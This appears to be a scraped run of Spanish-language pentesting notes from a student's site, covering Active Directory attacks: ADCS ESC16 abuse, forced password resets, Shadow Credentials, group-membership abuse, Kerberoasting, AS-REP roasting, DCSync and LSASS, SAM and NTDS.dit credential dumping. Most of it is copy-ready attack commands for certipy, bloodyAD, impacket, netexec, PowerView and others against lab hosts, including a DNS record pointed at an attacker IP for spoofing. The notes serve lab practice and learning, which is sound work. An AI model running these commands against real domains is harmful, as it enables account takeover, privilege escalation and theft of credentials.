certipy-ad account -u 'attacker' -p 'Password01!' -dc-ip 10.10.10 -user 'victim' read
Step 2: Update the victim account's UPN to the target administrator's sAMAccountName.
certipy-ad account -u 'attacker' -p 'Password01!' -dc-ip 10.10.10.10 -upn 'administrator@domain.htb' -user 'victim' update
Step 3: (If needed) Obtain credentials for the "victim" account (e.g., via Shadow Credentials).
En caso de disponer de las credenciales de victim, pasar directamente al paso 4.
certipy shadow auto -u 'attacker@domain.htb' -p 'Passw0rd!' -dc-ip 10.10.10.10 -account 'victim'
Step 4: Request a certificate as the "victim" user from any suitable client authentication template (e.g., "User") on the ESC16-vulnerable CA.
En caso de haber realizado el Shadow Credentials (Step 3) realizar los siguientes pasos.
export KRB5CCNAME=$(pwd)/victim.ccache
certipy-ad req -k -dc-ip 10.10.10.10 -dc-host DC01 -target 'DC01.DOMAIN.HTB' -ca 'CORP-CA' -template 'User'
En caso de disponer de las credenciales de victim
y no haber realizado el Step 3, realizar lo siguiente:
certipy-ad req -u 'victim' -p 'Password01!' -dc-ip 10.10.10.10 -target 'DC01.DOMAIN.HTB' -ca 'CORP-CA' -template 'User'
Step 5: Revert the "victim" account's UPN.
certipy-ad account -u 'attacker' -p 'Password01!' -dc-ip 10.10.10.10 -upn 'victim@domain.htb' -user 'victim' update
Step 6: Authenticate as the target administrator.
certipy-ad auth -dc-ip 10.10.10.10 -pfx administrator.pfx -username 'administrator' -domain 'domain.htb'
Abusing Active Dierctory Certificate Services Explication --> https://www.blackhillsinfosec.com/abusing-active-directory-certificate-services-part-one/
Abusing ADCS Attacks (ADMinions) --> https://adminions.ca/books/abusing-active-directory-certificate-services
Abusing ACS Attacks (The Hacker Recipes) --> https://www.thehacker.recipes/ad/movement/adcs/
Abusing ESC8 & ESC10 on ADCS --> https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7
Soy estudiante de ciberseguridad y he creado este espacio para compartir mis apuntes y técnicas relacionadas con el Pentesting. Aquí voy subiendo todo lo que aprendo, desde conceptos básicos hasta ataques más avanzados, con ejemplos y enfoques prácticos que uso en mi día a día.
La idea es que estas notas sean claras y útiles, tanto para mí como para cualquiera que esté en este mundo o quiera empezar en él. Me gusta documentar lo que hago porque me sirve para reforzar lo aprendido y, de paso, devolver algo a la comunidad que me ha ayudado tanto.
Este sitio no pretende ser perfecto, pero sí práctico y al grano. Lo que más me importa es seguir aprendiendo y tener un lugar donde organizar lo que sé. Si te sirve o te inspira a mejorar, ya con eso me doy por satisfecho.
¡Gracias por pasarte por aquí! 😊
En este post, exploramos el abuso de ForceChangePassword Active Directory a través de la explotación de Listas de Control de Acceso Discrecional (DACL) utilizando el permiso ForcePasswordChange en entornos Active Directory. Este permiso es especialmente peligroso para cuentas privilegiadas, ya que permite el movimiento lateral y el acceso no autorizado a través de sistemas suplantando la identidad de la cuenta comprometida. Por lo tanto, entender cómo funciona esta vulnerabilidad es crucial para los profesionales de la seguridad.
bloodyAD --host 10.10.10.10 -d domain.htb -u 'attacker' -p 'password' set password 'victim' 'NewPassword01!'
bloodyAD --host 10.10.10.10 -d domain.htb -u 'attacker' -p ':01e97f85894e06a5ad698f624b9a7ee9' set password 'victim' 'NewPassword01!'
bloodyAD --host dc.domain.htb -d domain.htb -k set password 'victim' 'NewPassword01!'
powerview domain.htb/attacker:'Password01!'@10.10.10.10 --dc-ip 10.10.10.10
powerview domain.htb/attacker@10.10.10.10 -H '01e97f85894e06a5ad698f624b9a7ee9' --dc-ip 10.10.10
powerview domain.htb/attacker@dc.domain.htb -k --no-pass --dc-ip 10.10.10.10
Set-DomainUserPassword -Identity 'victim' -AccountPassword 'NewPassword12'
impacket-changepasswd domain.htb/victim@10.10.10.10 -newpass 'NewPass01!' -reset -altuser 'attacker' -altpass 'Password01!' -dc-ip 10.10.10.10
impacket-changepasswd domain.htb/victim@10.10.10.10 -newpass 'NewPass01!' -reset -altuser 'attacker' -althash '01e97f85894e06a5ad698f624b9a7ee9' -dc-ip 10.10.10.10
impacket-changepasswd domain.htb/victim@dc.domain.htb -newpass 'NewPass01!' -reset -altuser 'attacker' -k -no-pass -dc-ip 10.10.10.10
Podemos modificar la contraseña de otro usuario el cual tengamos los permisos suficientes (GenericAll o ForceChangePassword) a través de (NEWPASS) o modificar su hash NTLM (NEWNTHASH).
Modificar contraseña de otro usuario.
nxc smb 10.10.10.10 -u 'attacker' -p 'Password01!' -M change-password -o USER=victim NEWPASS='NewPass123!'
Modificar hash NTLM de otro usuario.
nxc smb 10.10.10.10 -u 'attacker' -p 'Password01!' -M change-password -o USER=victim NEWNTHASH='01e97f85894e06a5ad698f624b9a7ee9'
Modificar contraseña de otro usuario.
nxc smb 10.10.10.10 -u 'attacker' -H '01e97f85894e06a5ad698f624b9a7ee9' -M change-password -o USER=victim NEWPASS='NewPass123!'
Modificar hash NTLM de otro usuario.
nxc smb 10.10.10.10 -u 'attacker' -H '01e97f85894e06a5ad698f624b9a7ee9' -M change-password -o USER=victim NEWNTHASH='01e97f85894e06a5ad698f624b9a7ee9'
Modificar contraseña de otro usuario.
nxc smb dc.domain.htb --use-kcache -M change-password -o USER=victim NEWPASS='NewPass123!'
Modificar hash NTLM de otro usuario.
nxc smb dc.domain.htb --use-kcache -M change-password -o USER=victim NEWNTHASH='01e97f85894e06a5ad698f624b9a7ee9'
Deberemos acceder a la interfaz interactiva de ldap_shell
, para ello deberemos autenticarnos a través de alguno de los siguientes métodos. Posteriormente al acceder a la terminal de ldap_shell
, ejecutaremos el comando correspondiente para modificar la contraseña del usuario.
ldap_shell domain.htb/attacker:'Password01!' -dc-ip 10.10.10.10
Si no conocemos el LM Hash, tenemos que indicar (aad3b435b51404eeaad3b435b51404ee) y posteriormente el hash NTLM. Formato --> LMHASH:NTHASH
ldap_shell domain.htb/attacker -hashes 'aad3b435b51404eeaad3b435b51404ee:01e97f85894e06a5ad698f624b9a7ee9' -dc-ip 10.10.10.10
ldap_shell domain.htb/attacker -k -no-pass -dc-host dc.domain.htb -dc-ip 10.10.10.10
change_password victim 'NewPass123!'
rpcclient -U 'attacker%Password01!' 10.10.10.10 -c 'setuserinfo victim 23 NewPass123!'
rpcclient -U 'attacker%01e97f85894e06a5ad698f624b9a7ee9' --pw-nt-hash 10.10.10.10 -c 'setuserinfo victim 23 NewPass123!'
net rpc password 'victim' 'NewPass01!' -U domain.htb/attacker%'Password01!' -S 10.10.10.10
net rpc password 'victim' 'NewPass01!' -U domain.htb/attacker%'01e97f85894e06a5ad698f624b9a7ee9' --pw-nt-hash -S 10.10.10.10
pth-net rpc password 'victim' 'NewPass123!' -U 'domain.htb/attacker%Password01!' -S 10.10.10.10
pth-net rpc password 'victim' 'NewPass123!' -U 'domain.htb/attacker%afac881b79a524c8e99d2b34f438058b' --pw-nt-hash -S 10.10.10.10
Accedemos a Metasploit a través de (msfconsole -q
) y ejecutamos los siguientes comandos. Desde nuestro usuario attacker
que dispone del ACL ForceChangePassword sobre el usuario victim
, realizaremos el cambio de contraseña.
use auxiliary/admin/ldap/change_password
set rhosts 10.10.10.10
set domain domain.htb
set username attacker
set password Password01!
set target_user victim
set new_password NewPass123!
run
.\bloodyAD.exe --host 10.10.10.10 -d domain.htb -u 'attacker' -p 'password' set password 'victim' 'NewPassword01!'
.\bloodyAD.exe --host 10.10.10.10 -d domain.htb -u 'attacker' -p ':01e97f85894e06a5ad698f624b9a7ee9' set password 'victim' 'NewPassword01!'
.\bloodyAD.exe --host dc.domain.htb -d domain.htb -k set password 'victim' 'NewPassword01!'
powershell -ep bypass
Import-Module .\PowerView.ps1
$user = 'DOMAIN\attacker';
$pass= ConvertTo-SecureString 'AttackerPwd' -AsPlainText -Force;
$creds = New-Object System.Management.Automation.PSCredential $user, $pass;
$newpass = ConvertTo-SecureString 'NewPass123!' -AsPlainText -Force;
Set-DomainUserPassword -Identity 'DOMAIN\victim' -AccountPassword $newpass -Credential $creds;
lsadump::setntlm /server:domain.htb /user:victim/password:NewPass123!
net user victim NewPass123! /domain
Import-Module ActiveDirectory
Set-ADAccountPassword -Identity victim -NewPassword (ConvertTo-SecureString 'NewPass12!' -AsPlainText -Force) -Reset
El ataque conocido como Shadow Credentials permite a un atacante obtener acceso persistente a una cuenta de Active Directory (usuario o máquina) sin conocer su contraseña ni su hash. Para lograrlo, se abusa del atributo poco conocido llamado msDS-KeyCredentialLink
, introducido con Windows Server 2016.
Este atributo permite almacenar claves públicas asociadas a una cuenta para autenticación mediante Kerberos PKINIT, un método que reemplaza el uso de contraseñas por criptografía asimétrica (clave pública/privada).
Si un atacante tiene permisos como WriteProperty
, GenericWrite
o GenericAll
sobre ese atributo en una cuenta objetivo, puede inyectar su propia clave pública. Luego, puede autenticarse como ese usuario usando PKINIT y su clave privada, consiguiendo un TGT válido sin necesidad de contraseñas ni tickets previos.
No se requiere modificar la contraseña del objetivo.
La cuenta sigue funcionando normalmente, sin alertas visibles.
La clave inyectada puede pasar desapercibida si no se monitoriza msDS-KeyCredentialLink
.
Permite autenticarse silenciosamente y moverse lateralmente o escalar privilegios.
Un controlador de dominio con soporte PKINIT (Windows Server 2016 o superior).
Entorno con Active Directory Certificate Services (AD CS) o una CA interna.
Permisos para modificar el atributo msDS-KeyCredentialLink
en una cuenta del dominio. (GenericAll, GenericWrite o AddKeyCredentialLink)
Una vez que inyecta la clave pública en el atributo msDS-KeyCredentialLink
, el atacante puede:
Autenticarse como el objetivo mediante PKINIT, sin necesidad de conocer su contraseña ni su hash.
Obtener un Ticket Granting Ticket (TGT) válido para esa cuenta.
Realizar movimientos laterales o delegaciones utilizando técnicas como S4U2self o S4U2proxy.
Mantener persistencia incluso si el usuario cambia su contraseña.
Obtener el hash NTLM del objetivo si consigue acceso al PAC o si la cuenta comprometida tiene privilegios elevados.
Si la cuenta comprometida tiene permisos de replicación en el dominio, ejecutar un ataque DCSync para dumpear todos los hashes del dominio.
Utilizar esos hashes para realizar Pass-the-Hash u otras técnicas de post-explotación.
En esta sección documentaremos la teoría detrás de esta técnica, cómo identificar entornos vulnerables, cómo explotarla paso a paso con herramientas como pyWhisker
, Certipy
o PKINITtools
, bloodyAD
o ldap_shell
.
certipy-ad shadow auto -username 'attacker' -p 'Password01!' -account 'victim' -dc-ip 10.10.10.10
certipy-ad shadow auto -username 'attacker' -hashes '01e97f85894e06a5ad698f624b9a7ee9' -account 'victim' -dc-ip 10.10.10.10
certipy-ad shadow auto -k -no-pass -account 'victim' -dc-ip 10.10.10.10 -target DC01.domain.htb -dc-host DC01
ldap_shell domain.htb/attacker:'Password01!' -dc-ip 10.10.10.10
Si no conocemos el LM Hash, tenemos que indicar (aad3b435b51404eeaad3b435b51404ee) y posteriormente el hash NTLM. Formato --> LMHASH:NTHASH
ldap_shell domain.htb/attacker -hashes aad3b435b51404eeaad3b435b51404ee:01e97f85894e06a5ad698f624b9a7ee9 -dc-ip 10.10.10.10
ldap_shell domain.htb/attacker -k -no-pass -dc-host dc.domain.htb -dc-ip 10.10.10.10
Command to use
get_ntlm victim
Proof of Concept (PoC)
Paso 1: Creación de las Shadow Credentials al usuario victim
bloodyAD --host 10.10.10.10 -d domain.htb -u 'attacker' -p 'Password01!' add shadowCredentials 'victim'
bloodyAD --host 10.10.10.10 -d domain.htb -u 'attacker' -p 'Password01!' add shadowCredentials 'victim'
bloodyAD --host dc.domain.htb -d domain.htb -k add shadowCredentials 'victim'
Una vez ejecutado la herramienta de bloodyAD
para añadir las Shadow Credentials al usuario, se nos proporcionará un comando a ejecutar a través de las herramientas de PKINIT.
Paso 2: Solicitud del ticket TGT después del Shadow Credentials
Ejecutaremos el comando proporcionado en el paso anterior para solicitar el TGT correspondiente al usuario el cual le hemos añadido las Shadow Credentials.
Nos quedaremos con el valor del TGT que se nos generará (.ccache
), ya que lo necesitaremos en el siguiente paso. Por otro lado, también necesitaremos el valor de la Key
que se nos proporciona que se encuentra marcada en rojo en el apartado INFO
.
python3 gettgtpkinit.py -cert-pem <file.cert.pem> -key-pem <file_priv.pem> domain.htb/victim <ticket.ccache>
Paso 3: Exportar en la sesión actual el ticket TGT
Exportaremos en la variable KRB5CCNAME
el ticket TGT que se nos ha generado en el paso anterior (.ccache
) y verificaremos que es un ticket válido a través de klist
.
export KRB5CCNAME=$(pwd)/ticket.ccache
klist
Paso 4: Recuperar el hash NTLM del usuario
El último paso deberemos de utilizar la herramienta getnthash.py
de PKINIT en la cual necesitaremos proporcionar la Key que se nos proporciona en el paso 2, haber importado el ticket TGT en nuestra sesión e indicar el dominio y el usuario victim
.
python3 getnthash.py -key <key_step_2> domain.htb/victim
Proof of Concept (PoC)
PowerView.py es una alternativa al fantástico script original PowerView.ps1. La mayoría de los módulos utilizados en PowerView están disponibles aquí (algunos de los indicadores han cambiado). El objetivo principal es lograr una sesión interactiva sin tener que autenticarse repetidamente en LDAP.
sudo apt install libkrb5-dev
pip3 install powerview --break-system-packages
Autenticación básica (User/Passworrd)
powerview dominio.htb/user:'password'@10.10.10.10 --dc-ip 10.10.10.10
Autenticación mediante Pass-the-Hash (PtH)
powerview dominio.htb/user@10.10.10.10 -H '01e97f85894e06a5ad698f624b9a7ee9' --dc-ip 10.10.10.10
Autenticación mediante Kerberos
powerview dominio.htb/user@dc.dominio.htb --dc-ip 10.10.10.10 -ns dc.dominio.htb -k --no-pass
Web Browser
powerview dominio.htb/'user':'password'@10.10.10.10 --web --web-host 127.0.0.1 --web-port 3000
# Añadir usuario a un grupo
Add-DomainGroupMember -Identity 'GROUP_TARGET' -Members 'USER_TARGET'
# Asignar servicePrincipalName (SPN) a un usuario para Kerberoasting Attack (Necesario disponer permisos GenericAll/GenericWrite sobre el usuario $target)
Set-DomainObject -Identity "TARGET" -Set 'servicePrincipalname=cifs/gzzcoo'
# Deshabilitar ACCOUNTDISABLE para habilitar a un usuario deshabilitado
Set-DomainObject -Identity 'TARGET' -Set 'userAccountControl=66048'
# Habilitar DONT_REQ_PREAUTH para ASREP Roast (Necesario disponer permisos GenericAll/GenericWrite sobre el usuario $target)
Set-DomainObject -Identity 'TARGET' -Set 'userAccountControl=4260352'
# Leer contraseña GMSA
Get-GMSA
# Kerberoasting Attack
Invoke-Kerberoast
# Modificar contraseña de un usuario
Set-DomainUserPassword -Identity 'user_target' -AccountPassword 'Password01!'
# Convertir el usuario 'user_target' en propietario del objeto 'object_target'
Set-DomainObjectOwner -TargetIdentity 'object_target' -PrincipalIdentity 'user_target'
# Añadir un nuevo Domain Computer
Add-ADComputer -ComputerName 'Gzzcoo' -ComputerPass 'Password01!'
# Añadir un nuevo usuario del dominio
Add-ADUser -UserName 'Gzzcoo' -UserPass 'Password01!'
# Creamos un nuevo registro DNS, para posteriormente realizar ataques de DNS Spoofing.
Add-DomainDNSRecord -RecordName '<dns_record_target>' -RecordAddress <ATTACKER_IP>
En Active Directory, cada objeto (usuario, grupo, equipo…) está protegido por una lista de control de acceso (ACL) cuyo conjunto de entradas (ACE) define qué acciones puede realizar cada identidad. El permiso GenericWrite actúa como una “master key” de escritura: engloba casi todos los derechos para modificar atributos y flags de un objeto, salvo aquellos que requieren permisos especiales (p. ej. resetear contraseñas).
Con GenericWrite sobre un usuario un atacante puede:
Escribir en servicePrincipalNames y lanzar un Kerberoasting dirigido.
Habilitar cuentas deshabilitadas modificando el userAccountControl
.
Marcar la bandera DONT_REQ_PREAUTH en userAccountControl
, permitiendo AS-REP Roasting sin necesidad de preautenticación.
Inyectar certificados en msDS-KeyCredentialLink para crear “Shadow Credentials” y autenticarse vía Kerberos PKINIT como si fuera ese usuario.
Si controla GenericWrite sobre un grupo, puede añadirse (o agregar cualquier otra cuenta) directamente al grupo, escalando privilegios al instante.
Y si lo obtiene sobre un objeto de equipo, puede tocar el atributo msDS-KeyCredentialLink del equipo, generando Shadow Credentials de máquina y autenticándose como esa cuenta de equipo mediante PKINIT.
En estos ejemplos, añadiremos al usuario targetUser
al grupo targetGroup
a través del usuario attacker
que es el que dispone del privilegio GenericWrite sobre el grupo targetGroup
, con lo cual podemos añadirnos a nosotros mismos o a otros usuarios.
# User/Password Authentication
bloodyAD --host 10.10.10.10 -d domain.htb -u 'attacker' -p 'Password01!' add groupMember 'targetGroup' 'targetUser'
# Pass-the-Hash (PtH) Authentication
bloodyAD --host 10.10.10.10 -d domain.htb -u 'attacker' -H '01e97f85894e06a5ad698f624b9a7ee9' add groupMember 'targetGroup' 'targetUser'
# Kerberos Authentication (.ccache)
bloodyAD --host dc.domain.htb -d domain.htb -k add groupMember 'targetGroup' 'targetUser'
# Authentication
# ---------------------------------------------------------------------------------- #
## User/Password Authentication ##
powerview domain.htb/attacker:'Password01!'@10.10.10.10 --dc-ip 10.10.10.10
## Pass-the-Hash (PtH) Authentication ##
powerview domain.htb/attacker@10.10.10.10 -H '01e97f85894e06a5ad698f624b9a7ee9' --dc-ip 10.10.10
## Kerberos Authentication (.ccache) ##
powerview domain.htb/attacker@dc.domain.htb -k --no-pass --dc-ip 10.10.10.10
# Command to use
Add-DomainGroupMember -Identity 'targetGroup' -Members 'targetUser'
# User/Password Authentication
net rpc group ADDMEM 'targetGroup' 'targetUser' -U 'attacker%Password01!' -W domain.htb -I 10.10.10.10
# Pass-the-Hash (PtH) Authentication
net rpc group ADDMEM 'targetGroup' 'targetUser' -U 'attacker%01e97f85894e06a5ad698f624b9a7ee9' --pw-nt-hash -W domain.htb -I 10.10.10.10
# User/Password Authentication
pth-net rpc group addmem 'targetGroup' 'targetUser' -U 'attacker%Password01!' -W domain.htb -I 10.10.10.10
# Pass-the-Hash (PtH) Authentication
pth-net rpc group addmem 'targetGroup' 'targetUser' -U 'attacker%01e97f85894e06a5ad698f624b9a7ee9' --pw-nt-hash -W domain.htb -I 10.10.10.10
# Create add-user-to-group.ldif indicating the DN (of the targetGroup) and the member to add
❯ cat add-user-to-group.ldif
dn: CN=targetGroup,CN=USERS,DC=DOMAIN,DC=HTB
changetype: modify
add: member
member: CN=VICTIM,CN=USERS,DC=DOMAIN,DC=HTB
# Execute command
❯ ldapmodify -x -H ldap://10.10.10.10 -D "CN=attacker,CN=Users,DC=domain,DC=htb" -w 'Password01!' -f add-user-to-group.ldif
# Oneliner alternative method without .ldif
printf 'dn: CN=targetGroup,CN=USERS,DC=domain,DC=htb\nchangetype: modify\nadd: member\nmember: CN=VICTIM,CN=USERS,DC=domain,DC=htb\n' | ldapmodify -x -H ldap://10.10.10.10 -D "CN=attacker,CN=Users,DC=domain,DC=htb" -w 'Password01!'
# Authentication
# ---------------------------------------------------------------------------------- #
## User/Password Authentication ##
ldap_shell domain.htb/attacker:'Password01!' -dc-ip 10.10.10.10
## Pass-the-Hash (PtH) Authentication ##
ldap_shell domain.htb/attacker -hashes 'aad3b435b51404eeaad3b435b51404ee:01e97f85894e06a5ad698f624b9a7ee9' -dc-ip 10.10.10.10
## Kerberos Authentication (.ccache) ##
ldap_shell domain.htb/attacker -k -no-pass -dc-host dc.domain.htb -dc-ip 10.10.10.10
# Command to use
add_user_to_group targetUser targetGroup
net group 'targetGroup' 'targetUser' /add /domain
# User/Password Authentication
.\bloodyAD.exe --host 10.10.10.10 -d domain.htb -u 'attacker' -p 'Password01!' add groupMember 'targetGroup' 'targetUser'
# Pass-the-Hash (PtH) Authentication
.\bloodyAD.exe --host 10.10.10.10 -d domain.htb -u 'attacker' -H '01e97f85894e06a5ad698f624b9a7ee9' add groupMember 'targetGroup' 'targetUser'
# Kerberos Authentication (.ccache)
.\bloodyAD.exe --host dc.domain.htb -d domain.htb -k add groupMember 'targetGroup' 'targetUser'
Esta herramienta puede realizar llamadas LDAP específicas a un controlador de dominio para realizar escalada de privilegios en AD.
En Kali Linux la herramienta se puede instalar simplemente a través del siguiente comando.
Repositorio de GitHub de la herramienta
# Leer LAPS Password
# Leer GMSA Password
# Habilitar DONT_REQ_PREAUTH para ASREP Roast (Necesario disponer permisos GenericAll/GenericWrite)
# Deshabilitar ACCOUNTDISABLE para habilitar a un usuario deshabilitado
# Añadir usuario a un grupo
# Shadow Credentials Attack (luego hay que hacer unPacTheHash)
# Asignar servicePrincipalName (SPN) a un usuario para Kerberoasting Attack (Necesario disponer permisos GenericAll/GenericWrite sobre el usuario $target
)
# Hacer propietario a usuario sobre un objeto (permisos de WriteOwner)
# Asignar permisos GenericAll sobre un usuario a un objeto para tener control total
# Cambiar contraseña de un usuario
# Añadir permisos DCSync sobre un objeto
# Asignamos al usuario 'TARGET' un script malicioso que se ejecutará cuando inicie sesión
# Creamos un nuevo registro DNS, para posteriormente realizar ataques de DNS Spoofing.
# Asignar un UPN (userPrincipalName) diferente para ataques como UPN Spoofing
# Asignar valor al atributo altSecurityIdentities para ataques X.509/ESC14
Formando parte de este grupo, podemos enumerar objetos eliminados del Active Directory, en este caso, usuarios. En algunos casos, es posible que existan usuarios temporales que hayan sido creados para pruebas y tengan algún campo que nos pueda interesar.
PoC - HTB Cascade
Sí disponemos de un listado de usuarios válidos, realizar AS-REP Roast Attack para conseguir un Ticket Granting Ticket (TGT) y luego crackear su hash para obtener su contraseña.
Este ataque hace una consulta al DC si alguno de los usuarios que disponemos en el listado, tiene la flag de (DONT_REQ_PREAUTH) de Kerberos.
El ataque se puede intentar más veces si a lo largo encontramos más usuarios válidos. Desde BloodHound podemos ver los usuarios que tengan esta condición.
Si disponemos de credenciales válidas de un usuario del dominio, podemos efectuar un Kerberoasting Attack para conseguir un Ticket Granting Service (TGS) de un usuario que tenga asignado un servicePrincipalName (SPN).
Este hash obtenido, podemos intentar crackearlo para obtener sus credenciales en texto plano.
Existe una excepción para realizar el Kerberoasting Attack sin disponer de credenciales.
Si sabemos que hay la existencia de un usuario que sea AS-REP Roast, es decir, que el usuario tenga la flag de (DONT_REQ_PREAUTH) habilitada, también podremos realizar este ataque sin disponer credenciales válidas.
En este caso, el usuario llamado usuarioASREP es susceptible a un AS-REP Roast, es decir, dispone de la flag (DONT_REQ_PREAUTH) de Kerberos habilitada.
Por lo tanto, podemos efectuar un Kerberoasting Attack sin disponer de credenciales válidas del dominio, pero teniendo un usuario que sea susceptible a AS-REP Roast.
Para más información, se puede consultar el siguiente blog en el cual explican el descubrimiento de este método.
ldapsearch es una herramienta de línea de comandos utilizada para realizar búsquedas en un servidor LDAP. Sirve para consultar información almacenada, como usuarios, grupos, correos electrónicos o cualquier otro dato que administre el directorio.
# Identificación del nombre de dominio
# Enumerar LDAP en busca de contenido que contenga "pwd|password"
# Enumerar objetos en LDAP sobre aquellos objetos que tengan datos en el campo "info"
# Leer LAPS Password
# Enumerar usuarios que comiencen por "m.lov"
# Enumerar usuarios que contengan las palabras "lov"
# Enumerar usuarios que acaben por "god"
# Enumerar usuarios a través de LDAP
# Enumerar usuarios del AD y mostrar a que grupo forman parte
# Enumerar equipos del AD con toda su información
# Enumerar miembros del grupo 'Moderators' de ejemplo
# Enumerar campos importantes sobre el usuario llamado 'user'
Una herramienta para realizar una fuerza bruta rápida y enumerar cuentas válidas de Active Directory a través de la autenticación previa Kerberos.
Clonar repositorio de GitHub.
Guía detallada a través del siguiente blog.
MUY IMPORTANTE TENER LA HORA DE NUESTRO EQUIPO CON LA DEL DOMAIN CONTROLLER
El grupo DnsAdmins en Windows permite gestionar el servicio DNS en controladores de dominio. Sin embargo, los usuarios de este grupo pueden cargar y ejecutar una DLL personalizada con privilegios elevados a través de funciones del servicio DNS. Esto lo convierte en un método viable para la escalación de privilegios en entornos de Active Directory.
DnsAdmins to Domain Admin -
HTB Resolute -
El proceso LSASS (Local Security Authority Subsystem Service) se encarga de gestionar la autenticación y las políticas de seguridad en Windows. Al hacer un dump de este proceso, es posible extraer credenciales como hashes de contraseñas, tickets Kerberos o contraseñas en texto claro. Esto lo convierte en un objetivo crítico durante actividades de post-explotación. Herramientas como Mimikatz o pypykatz permiten analizar y extraer esta información de los archivos de volcado.
En Windows a través de la herramienta de mimikatz haremos el dump del LSASS.
Con acceso a una sesión gráfica interactiva con el objetivo, podemos utilizar el administrador de tareas para crear un volcado de memoria.
Se nos creará un archivo lsass.DMP
que nos pasaremos a nuestra máquina en local para extraer las credenciales tal y como se muestra en
En caso de disponer de un lsass.DMP en nuestra Kali, comprobar que tipo de dump es y hacer un dump del LSASS.
El método del Administrador de Tareas depende de que tengamos una sesión interactiva basada en GUI con un objetivo. Podemos utilizar un método alternativo para volcar la memoria del proceso LSASS a través de una utilidad de línea de comandos llamada rundll32.exe. Esta forma es más rápida que el método del Administrador de Tareas y más flexible porque podemos obtener una sesión shell en un host Windows con sólo acceso a la línea de comandos. Es importante tener en cuenta que las herramientas antivirus modernas reconocen este método como actividad maliciosa.
Antes de emitir el comando para crear el archivo de volcado, debemos determinar qué ID de proceso (PID) está asignado a lsass.exe. Esto se puede hacer desde cmd o PowerShell:
Finding LSASS PID in cmd
Desde cmd, podemos emitir el comando tasklist /svc y encontrar lsass.exe y su ID de proceso en el campo PID.
Finding LSASS PID in PowerShell
Desde PowerShell, podemos ejecutar el comando Get-Process lsass y ver el ID del proceso en el campo Id.
Una vez que tenemos el PID asignado al proceso LSASS, podemos crear el archivo de volcado.
De manera remota podemos hacer un dump del LSASS a través de netexec
.
Enlaces utilizados:
Export LSASS ->
El archivo NTDS.dit es la base de datos del Active Directory en controladores de dominio de Windows. Contiene información crítica como las cuentas de usuario, grupos, políticas y, lo más importante, los hashes de contraseñas de todos los usuarios del dominio.
Un atacante puede extraer este archivo (junto con el SYSTEM hive) para obtener los hashes y crackearlos, ganando acceso a credenciales sensibles.
Usuario forma parte de un grupo que dispone de privilegios "WriteDacl" sobre el dominio, podemos otorgarle permisos DCSync al usuario . Esto debemos de tener acceso a un equipo del dominio y debemos de importar PowerView.
Con bloodyAD podemos añadir permisos de DCSync (desde Kali)
Si disponemos de permisos de DCSync, des de Kali dumpearemos el NTDS.dit de la siguiente manera:
Requisitos:
Acceso remoto al Domain Controller del dominio.
Disponer de usuario con permisos de "SeBackupPrivilege"
Disponer del archivo 'SYSTEM' del DC. Se puede obtener a través de
Proceso:
Utilizaremos DiskShadow y Robocopy para copiar el archivo "NTDS.dit" y disponer de una copia que la pasaremos a nuestra Kali.
(Importante: Dejar un espacio al final de cada instrucción)
Ejecutaremos el diskshadow para crear una copia de la unidad C: en la unidad G del DiskShadow.
A través de RoboCopy copiaremos el archivo NTDS.dit de la copia de la C que se encuentra en la unidad G.
Pasaremos la copia de los archivos SYSTEM y NTDS.dit a la Kali y haremos el dump con secretsdump.py:
DCSync Attack (Hacktricks) -->
Dumping Active Directory Hashes -->
Diskshadow --<
Máquina HTB 'Forest' de referencia (DCSync) -->
Máquina HTB 'Blackfield' de referencia (NTDS.dit) -->
La SAM (Security Account Manager) es una base de datos en Windows que almacena las credenciales locales de los usuarios, como los hashes de contraseñas. Este archivo crítico se encuentra en C:\Windows\System32\Config\SAM y está protegido por restricciones de acceso. Sin embargo, si un atacante obtiene permisos elevados, puede extraer los hashes de la SAM y usarlos para ataques como Pass-the-Hash o crackeo de contraseñas, comprometiendo cuentas locales del sistema.
En Windows haremos una copia de los archivos en "temp"
Desde Kali Linux exportaremos los hashes de la SAM
De manera remota podemos hacer el dump del SAM del equipo.
Export copy SAM and SYSTEM files -
# AS-REP Roasting a través de un listado de usuarios en 'users.txt'
impacket-GetNPUsers -no-pass -usersfile users.txt dominio.htb/ 2>/dev/null
# AS-REP Roasting para un usuario en concreto
impacket-GetNPUsers dominio.htb/usuer -no-pass 2>/dev/null
# Kerberoasting Attack con credenciales válidas y autenticación NTLM
impacket-GetUserSPNs -dc-ip 10.10.10.10 dominio.htb/user -request 2>/dev/null
impacket-GetUserSPNs -dc-ip 10.10.10.10 dominio.htb/user:'password' -request 2>/dev/null
# Kerberoasting Attack a través de autenticación Kerberos
impacket-GetUserSPNs -dc-ip 10.10.10.10 -dc-host dc.dominio.htb dominio.htb/user -k -no-pass -request 2>/dev/null
# Kerberoasting sin credenciales de dominio pero con un usuario AS-REP Roast, necesario disponer de lista de usuarios en 'users.txt'
impacket-GetUserSPNs -no-preauth 'usuario-asrep' -request -usersfile users.txt dominio.htb/ -dc-ip 10.10.10.161 2>/dev/null
# Obtención de TGT a través de contraseña básica
impacket-getTGT dominio.htb/user:'password' -dc-ip 10.10.10.10
# Obtención de TGT a través de Hash NTLM
impacket-getTGT dominio.htb/user -hashes :<NTLM_HASH> -dc-ip 10.10.10.10
# Obtención de TGT a través de Autenticación Kerberos
impacket-getTGT dominio.htb/user -k -no-pass -dc-ip 10.10.10.10
# RBCD a través de autenticación NTLM
impacket-getST -spn 'cifs/DC.dominio.htb' -impersonate Administrator -dc-ip 10.10.10.10 'dominio.htb'/'target_rbcd':'password' 2>/dev/null
# RBCD a través de PassTheHash
impacket-getST -spn 'cifs/DC.dominio.htb' -impersonate Administrator -dc-ip 10.10.10.10 'dominio.htb'/'target_rbcd' -hashes :<NTLM_HASH> 2>/dev/null
# RBCD a través de Autenticación Kerberos
impacket-getST -spn 'cifs/DC.dominio.htb' -impersonate Administrator -dc-ip 10.10.10.10 'dominio.htb'/'target_rbcd' -k -no-pass 2>/dev/null
# Autenticación básica
ldapsearch -H ldap://10.10.10.10 -D 'user@domain.htb' -w 'password'
# Autenticación mediante Kerberos (hay que exportar antes el TGT en el KRB5CCNAME)
ldapsearch -H ldap://dc.domain.htb -Y GSSAPI
ldapsearch -x -H ldap://10.10.10.10 -s base | grep defaultNamingContext
ldapsearch -x -H ldap://10.10.10.10 -b "dc=domain,dc=htb" | grep -ie "pwd\|password"
ldapsearch -x -H ldap://10.10.10.10 -D 'user@domain.htb' -w 'password' -b 'dc=domain,dc=htb' "(info=*)" info
